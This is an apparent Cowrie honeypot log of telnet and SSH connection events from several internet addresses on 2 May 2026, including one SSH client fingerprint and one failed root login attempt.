{"eventid":"cowrie.session.closed","duration":44.81781530380249,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:43.928231Z","src_ip":"65.60.27.33","session":"88a31306b628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.72537970542908,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:44.384885Z","src_ip":"62.210.97.77","session":"c0f0dcb476ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.73806953430176,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:44.871074Z","src_ip":"38.54.119.93","session":"73a43f81035d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.32618570327759,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:48.582839Z","src_ip":"65.60.27.33","session":"34cd714c4a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32918,"dst_ip":"10.17.0.5","dst_port":23,"session":"d04f8c22cdf5","protocol":"telnet","message":"New connection: 62.210.97.77:32918 (10.17.0.5:23) [session: d04f8c22cdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:49.016398Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32922,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8ffdf654ab3","protocol":"telnet","message":"New connection: 62.210.97.77:32922 (10.17.0.5:23) [session: f8ffdf654ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:49.588368Z"}
{"eventid":"cowrie.session.closed","duration":31.551114320755005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:49.945871Z","src_ip":"94.156.33.203","session":"9926944087d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687211751937866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:50.145640Z","src_ip":"94.156.33.203","session":"264cab3b93c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031363248825073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:50.242410Z","src_ip":"62.210.97.77","session":"e75c3837e4b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32930,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b8966fc54e","protocol":"telnet","message":"New connection: 62.210.97.77:32930 (10.17.0.5:23) [session: 54b8966fc54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:50.817339Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32942,"dst_ip":"10.17.0.5","dst_port":23,"session":"df1ffa9364e6","protocol":"telnet","message":"New connection: 62.210.97.77:32942 (10.17.0.5:23) [session: df1ffa9364e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:51.742666Z"}
{"eventid":"cowrie.session.closed","duration":34.63779878616333,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:53.713866Z","src_ip":"62.210.97.77","session":"5d8949a3dd53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36860,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c45803e3964","protocol":"telnet","message":"New connection: 134.209.8.29:36860 (159.203.135.109:23) [session: 5c45803e3964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:54.527852Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32956,"dst_ip":"10.17.0.5","dst_port":23,"session":"559afa952ec0","protocol":"telnet","message":"New connection: 62.210.97.77:32956 (10.17.0.5:23) [session: 559afa952ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:54.918801Z"}
{"eventid":"cowrie.session.closed","duration":33.67044401168823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:55.376488Z","src_ip":"62.210.97.77","session":"fdc1cb6f9d14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.06075930595398,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:56.346677Z","src_ip":"65.60.27.33","session":"d8af8591e1d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.267979860305786,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:56.499882Z","src_ip":"62.210.97.77","session":"c0c95eac3221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.251195669174194,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:56.533938Z","src_ip":"62.210.97.77","session":"bca8ab925846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.461493253707886,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:58.222776Z","src_ip":"62.210.97.77","session":"82c130e5b815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.03564262390137,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:59.081537Z","src_ip":"65.60.27.33","session":"123427dbd5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60434,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6051e6ef99","protocol":"telnet","message":"New connection: 62.210.97.77:60434 (10.17.0.5:23) [session: 4f6051e6ef99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:59.707471Z"}
{"eventid":"cowrie.session.closed","duration":31.528629541397095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:00.031728Z","src_ip":"94.156.33.203","session":"c6eb7c2e56ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60444,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad57b366db0","protocol":"telnet","message":"New connection: 62.210.97.77:60444 (10.17.0.5:23) [session: 1ad57b366db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:00.399497Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60448,"dst_ip":"10.17.0.5","dst_port":23,"session":"30a0eb079e0b","protocol":"telnet","message":"New connection: 62.210.97.77:60448 (10.17.0.5:23) [session: 30a0eb079e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:00.732902Z"}
{"eventid":"cowrie.session.closed","duration":32.407408714294434,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:00.768290Z","src_ip":"62.210.97.77","session":"ec3dd7921dad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":43982,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ae8863a8c9f","protocol":"telnet","message":"New connection: 94.156.33.203:43982 (159.203.135.109:23) [session: 1ae8863a8c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:01.323038Z"}
{"eventid":"cowrie.session.closed","duration":35.549222469329834,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:02.284593Z","src_ip":"62.210.97.77","session":"7d1ad9ac7874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60464,"dst_ip":"10.17.0.5","dst_port":23,"session":"210a1d5555f6","protocol":"telnet","message":"New connection: 62.210.97.77:60464 (10.17.0.5:23) [session: 210a1d5555f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:03.183642Z"}
{"eventid":"cowrie.session.closed","duration":35.22625708580017,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:03.220587Z","src_ip":"62.210.97.77","session":"3d34e926c653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.18394231796265,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:03.545627Z","src_ip":"38.54.119.93","session":"848d873f888f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60478,"dst_ip":"10.17.0.5","dst_port":23,"session":"84df86fb4ebf","protocol":"telnet","message":"New connection: 62.210.97.77:60478 (10.17.0.5:23) [session: 84df86fb4ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:03.911125Z"}
{"eventid":"cowrie.session.closed","duration":43.53952741622925,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:04.332517Z","src_ip":"65.60.27.33","session":"36238c2c93c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56608,"dst_ip":"10.17.0.5","dst_port":23,"session":"106053105da5","protocol":"telnet","message":"New connection: 165.232.131.181:56608 (10.17.0.5:23) [session: 106053105da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:04.571048Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57024,"dst_ip":"10.17.0.5","dst_port":23,"session":"603577d4bfd6","protocol":"telnet","message":"New connection: 165.232.131.181:57024 (10.17.0.5:23) [session: 603577d4bfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:06.085387Z"}
{"eventid":"cowrie.session.closed","duration":32.85517477989197,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:07.463096Z","src_ip":"62.210.97.77","session":"6407a9a6de06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1873517036438,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:07.515156Z","src_ip":"65.60.27.33","session":"ad8e05a9c39f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.651479721069336,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:08.631597Z","src_ip":"62.210.97.77","session":"41afa53c0bc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a9687acb6c","protocol":"telnet","message":"New connection: 62.210.97.77:39996 (10.17.0.5:23) [session: b6a9687acb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:08.676216Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39998,"dst_ip":"10.17.0.5","dst_port":23,"session":"b599f200de52","protocol":"telnet","message":"New connection: 62.210.97.77:39998 (10.17.0.5:23) [session: b599f200de52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:08.819548Z"}
{"eventid":"cowrie.session.closed","duration":37.786367893218994,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:09.252677Z","src_ip":"65.60.27.33","session":"72b76b775e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.942181825637817,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:09.513104Z","src_ip":"165.232.131.181","session":"106053105da5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":54314,"dst_ip":"10.17.0.5","dst_port":22,"session":"f15573e2c9b9","protocol":"ssh","message":"New connection: 156.232.13.218:54314 (10.17.0.5:22) [session: f15573e2c9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:10.034500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:10.039589Z","src_ip":"156.232.13.218","session":"f15573e2c9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:10.114090Z","src_ip":"156.232.13.218","session":"f15573e2c9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2003","message":"login attempt [root/server2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:10.443143Z","src_ip":"156.232.13.218","session":"f15573e2c9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40004,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1bb594356f2","protocol":"telnet","message":"New connection: 62.210.97.77:40004 (10.17.0.5:23) [session: b1bb594356f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:11.298064Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:11.520422Z","src_ip":"156.232.13.218","session":"f15573e2c9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.53995680809021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:12.528548Z","src_ip":"94.156.33.203","session":"e33e683d73a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34588,"dst_ip":"159.203.135.109","dst_port":23,"session":"0941741c7f30","protocol":"telnet","message":"New connection: 134.209.8.29:34588 (159.203.135.109:23) [session: 0941741c7f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:13.091953Z"}
{"eventid":"cowrie.session.closed","duration":0.005763530731201172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:13.097612Z","src_ip":"134.209.8.29","session":"0941741c7f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.722151041030884,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:13.497478Z","src_ip":"38.54.119.93","session":"93a7613a15a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40020,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfc84fa9bd73","protocol":"telnet","message":"New connection: 62.210.97.77:40020 (10.17.0.5:23) [session: bfc84fa9bd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:13.718011Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40022,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a92f546fa9","protocol":"telnet","message":"New connection: 62.210.97.77:40022 (10.17.0.5:23) [session: 50a92f546fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:14.517385Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55292,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf7f7b7bdfc","protocol":"telnet","message":"New connection: 65.60.27.33:55292 (10.17.0.5:23) [session: 6bf7f7b7bdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:16.180525Z"}
{"eventid":"cowrie.session.closed","duration":38.39170455932617,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:17.987337Z","src_ip":"62.210.97.77","session":"f0954c6497e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.16340231895447,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:18.915065Z","src_ip":"65.60.27.33","session":"d5dda9e6eef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.22867393493652,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:20.677417Z","src_ip":"62.210.97.77","session":"22e02d1bca1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60266,"dst_ip":"10.17.0.5","dst_port":23,"session":"13451bfced9d","protocol":"telnet","message":"New connection: 62.210.97.77:60266 (10.17.0.5:23) [session: 13451bfced9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:22.145011Z"}
{"eventid":"cowrie.session.closed","duration":45.7295606136322,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:22.788134Z","src_ip":"65.60.27.33","session":"57c043be9c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46154,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32f609785dd","protocol":"telnet","message":"New connection: 38.54.119.93:46154 (10.17.0.5:23) [session: c32f609785dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:22.959051Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a49ff33b35c","protocol":"telnet","message":"New connection: 65.60.27.33:35098 (10.17.0.5:23) [session: 6a49ff33b35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:23.316867Z"}
{"eventid":"cowrie.session.closed","duration":35.1552677154541,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:24.171529Z","src_ip":"62.210.97.77","session":"d04f8c22cdf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.550952672958374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:24.368176Z","src_ip":"62.210.97.77","session":"54b8966fc54e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37224,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5d545552f0","protocol":"telnet","message":"New connection: 65.60.27.33:37224 (10.17.0.5:23) [session: ff5d545552f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:25.000095Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60278,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15388975c85","protocol":"telnet","message":"New connection: 62.210.97.77:60278 (10.17.0.5:23) [session: e15388975c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:25.125242Z"}
{"eventid":"cowrie.session.closed","duration":35.69031810760498,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:25.278589Z","src_ip":"62.210.97.77","session":"f8ffdf654ab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.3754723072052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:27.118035Z","src_ip":"62.210.97.77","session":"df1ffa9364e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60300,"dst_ip":"10.17.0.5","dst_port":23,"session":"762fbbd03957","protocol":"telnet","message":"New connection: 62.210.97.77:60300 (10.17.0.5:23) [session: 762fbbd03957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:27.283607Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.71","src_port":37974,"dst_ip":"10.17.0.5","dst_port":22,"session":"c62fc990ed20","protocol":"ssh","message":"New connection: 45.79.207.71:37974 (10.17.0.5:22) [session: c62fc990ed20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:28.196443Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60284,"dst_ip":"10.17.0.5","dst_port":23,"session":"063c23dfc4dd","protocol":"telnet","message":"New connection: 62.210.97.77:60284 (10.17.0.5:23) [session: 063c23dfc4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:28.237377Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53694,"dst_ip":"10.17.0.5","dst_port":23,"session":"de963b378400","protocol":"telnet","message":"New connection: 62.210.97.77:53694 (10.17.0.5:23) [session: de963b378400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:28.825143Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:28.952829Z","src_ip":"45.79.207.71","session":"c62fc990ed20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a307b65222","protocol":"telnet","message":"New connection: 65.60.27.33:41792 (10.17.0.5:23) [session: c4a307b65222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:29.422827Z"}
{"eventid":"cowrie.session.closed","duration":46.337170362472534,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:29.531641Z","src_ip":"165.232.131.181","session":"7df2112f2f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50050,"dst_ip":"10.17.0.5","dst_port":23,"session":"27fde3e2a74b","protocol":"telnet","message":"New connection: 38.54.119.93:50050 (10.17.0.5:23) [session: 27fde3e2a74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:29.668461Z"}
{"eventid":"cowrie.session.closed","duration":46.76684617996216,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:29.820524Z","src_ip":"38.54.119.93","session":"768aa7738eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578291416168213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:30.285650Z","src_ip":"62.210.97.77","session":"4f6051e6ef99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53696,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab3b3c0440f","protocol":"telnet","message":"New connection: 62.210.97.77:53696 (10.17.0.5:23) [session: 2ab3b3c0440f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:33:31.270355Z"}
